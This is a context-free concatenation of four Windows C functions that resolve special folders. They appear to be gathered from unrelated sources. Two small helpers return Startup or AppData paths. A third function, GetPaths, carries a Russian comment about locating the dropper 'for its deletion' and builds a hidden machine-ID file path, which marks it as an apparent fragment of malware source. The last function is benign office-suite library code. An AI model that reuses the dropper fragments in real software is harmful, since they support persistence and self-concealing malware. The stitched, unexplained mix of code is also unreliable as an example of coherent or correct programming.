WCHAR *GetShellFoldersKey( DWORD dwParam ) { DWORD dwTemp = 0; if ( dwParam == 1 ) { dwTemp = CSIDL_STARTUP; } else if ( dwParam == 2 ) { dwTemp = CSIDL_APPDATA; } WCHAR *UserPath = (WCHAR*)MemAlloc( 512 ); if ( UserPath == NULL ) { return NULL; } pSHGetSpecialFolderPathW( 0, UserPath, dwTemp, FALSE ); return UserPath; }
WCHAR *GetShellFoldersKey( DWORD dwParam ) { int dwTemp = 0; if ( dwParam == 1 ) { dwTemp = CSIDL_STARTUP; } else if ( dwParam == 2 ) { dwTemp = CSIDL_APPDATA; } WCHAR *UserPath = (WCHAR*)MemAlloc( MAX_PATH * sizeof(WCHAR) ); if ( UserPath == NULL ) { return NULL; } pSHGetSpecialFolderPathW((HWND)NULL, UserPath, dwTemp, true); return UserPath; }
// // получаем путь к дроперу для его удаления. // VOID GetPaths() { BOOL bUsed; PWCHAR buf = (PWCHAR)MemAlloc(sizeof(WCHAR)*MAX_PATH); if ( buf ) { pGetModuleFileNameW(NULL,buf,MAX_PATH-1); //pOutputDebugStringW(buf); pWideCharToMultiByte(CP_ACP,0,buf,-1,FileToDelete,sizeof(FileToDelete)-1,NULL,&bUsed); //pOutputDebugStringA(FileToDelete); PP_DPRINTF(L"GetPaths: FileToDelete='%S'", FileToDelete); buf[0]= 0; pSHGetSpecialFolderPathW(NULL,buf,CSIDL_COMMON_APPDATA ,TRUE); pWideCharToMultiByte(CP_ACP,0,buf,-1,PathBkFile,sizeof(PathBkFile)-1,NULL,&bUsed); MemFree(buf); m_lstrcat(PathBkFile,"\\"); m_lstrcat(PathBkFile,MakeMachineID()); PP_DPRINTF(L"GetPaths: PathBkFile='%S'",PathBkFile); }; };
static sal_Bool GetSpecialFolder(rtl_uString **strPath, int nFolder) { sal_Bool bRet = sal_False; HINSTANCE hLibrary; sal_Char PathA[_MAX_PATH]; sal_Unicode PathW[_MAX_PATH]; if ((hLibrary = LoadLibrary("shell32.dll")) != NULL) { BOOL (WINAPI *pSHGetSpecialFolderPathA)(HWND, LPSTR, int, BOOL); BOOL (WINAPI *pSHGetSpecialFolderPathW)(HWND, LPWSTR, int, BOOL); pSHGetSpecialFolderPathA = (BOOL (WINAPI *)(HWND, LPSTR, int, BOOL))GetProcAddress(hLibrary, "SHGetSpecialFolderPathA"); pSHGetSpecialFolderPathW = (BOOL (WINAPI *)(HWND, LPWSTR, int, BOOL))GetProcAddress(hLibrary, "SHGetSpecialFolderPathW"); if (pSHGetSpecialFolderPathA) { if (pSHGetSpecialFolderPathA(GetActiveWindow(), PathA, nFolder, TRUE)) { rtl_string2UString( strPath, PathA, (sal_Int32) strlen(PathA), osl_getThreadTextEncoding(), OUSTRING_TO_OSTRING_CVTFLAGS); OSL_ASSERT(*strPath != NULL); bRet = sal_True; } } else if (pSHGetSpecialFolderPathW) { if (pSHGetSpecialFolderPathW(GetActiveWindow(), PathW, nFolder, TRUE)) { rtl_uString_newFromStr( strPath, PathW); bRet = sal_True; } } else { HRESULT (WINAPI *pSHGetSpecialFolderLocation)(HWND, int, LPITEMIDLIST *) = (HRESULT (WINAPI *)(HWND, int, LPITEMIDLIST *))GetProcAddress(hLibrary, "SHGetSpecialFolderLocation"); BOOL (WINAPI *pSHGetPathFromIDListA)(LPCITEMIDLIST, LPSTR) = (BOOL (WINAPI *)(LPCITEMIDLIST, LPSTR))GetProcAddress(hLibrary, "SHGetPathFromIDListA"); BOOL (WINAPI *pSHGetPathFromIDListW)(LPCITEMIDLIST, LPWSTR) = (BOOL (WINAPI *)(LPCITEMIDLIST, LPWSTR))GetProcAddress(hLibrary, "SHGetPathFromIDListW"); HRESULT (WINAPI *pSHGetMalloc)(LPMALLOC *) = (HRESULT (WINAPI *)(LPMALLOC *))GetProcAddress(hLibrary, "SHGetMalloc"); if (pSHGetSpecialFolderLocation && (pSHGetPathFromIDListA || pSHGetPathFromIDListW ) && pSHGetMalloc ) { LPITEMIDLIST pidl; LPMALLOC pMalloc; HRESULT hr; hr = pSHGetSpecialFolderLocation(GetActiveWindow(), nFolder, &pidl); /* Get SHGetSpecialFolderLocation fails if directory does not exists. */ /* If it fails we try to create the directory and redo the call */ if (! SUCCEEDED(hr)) { HKEY hRegKey; if (RegOpenKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders", &hRegKey) == ERROR_SUCCESS) { LONG lRet; DWORD lSize = SAL_N_ELEMENTS(PathA); DWORD Type = REG_SZ; switch (nFolder) { case CSIDL_APPDATA: lRet = RegQueryValueEx(hRegKey, "AppData", NULL, &Type, (LPBYTE)PathA, &lSize); break; case CSIDL_PERSONAL: lRet = RegQueryValueEx(hRegKey, "Personal", NULL, &Type, (LPBYTE)PathA, &lSize); break; default: lRet = -1l; } if ((lRet == ERROR_SUCCESS) && (Type == REG_SZ)) { if (_access(PathA, 0) < 0) CreateDirectory(PathA, NULL); hr = pSHGetSpecialFolderLocation(GetActiveWindow(), nFolder, &pidl); } RegCloseKey(hRegKey); } } if (SUCCEEDED(hr)) { if (pSHGetPathFromIDListW && pSHGetPathFromIDListW(pidl, PathW)) { /* if directory does not exist, create it */ if (_waccess(PathW, 0) < 0) CreateDirectoryW(PathW, NULL); rtl_uString_newFromStr( strPath, PathW); bRet = sal_True; } else if (pSHGetPathFromIDListA && pSHGetPathFromIDListA(pidl, PathA)) { /* if directory does not exist, create it */ if (_access(PathA, 0) < 0) CreateDirectoryA(PathA, NULL); rtl_string2UString( strPath, PathA, (sal_Int32) strlen(PathA), osl_getThreadTextEncoding(), OUSTRING_TO_OSTRING_CVTFLAGS); OSL_ASSERT(*strPath != NULL); bRet = sal_True; } } if (SUCCEEDED(pSHGetMalloc(&pMalloc))) { pMalloc->lpVtbl->Free(pMalloc, pidl); pMalloc->lpVtbl->Release(pMalloc); } } } } FreeLibrary(hLibrary); return bRet; }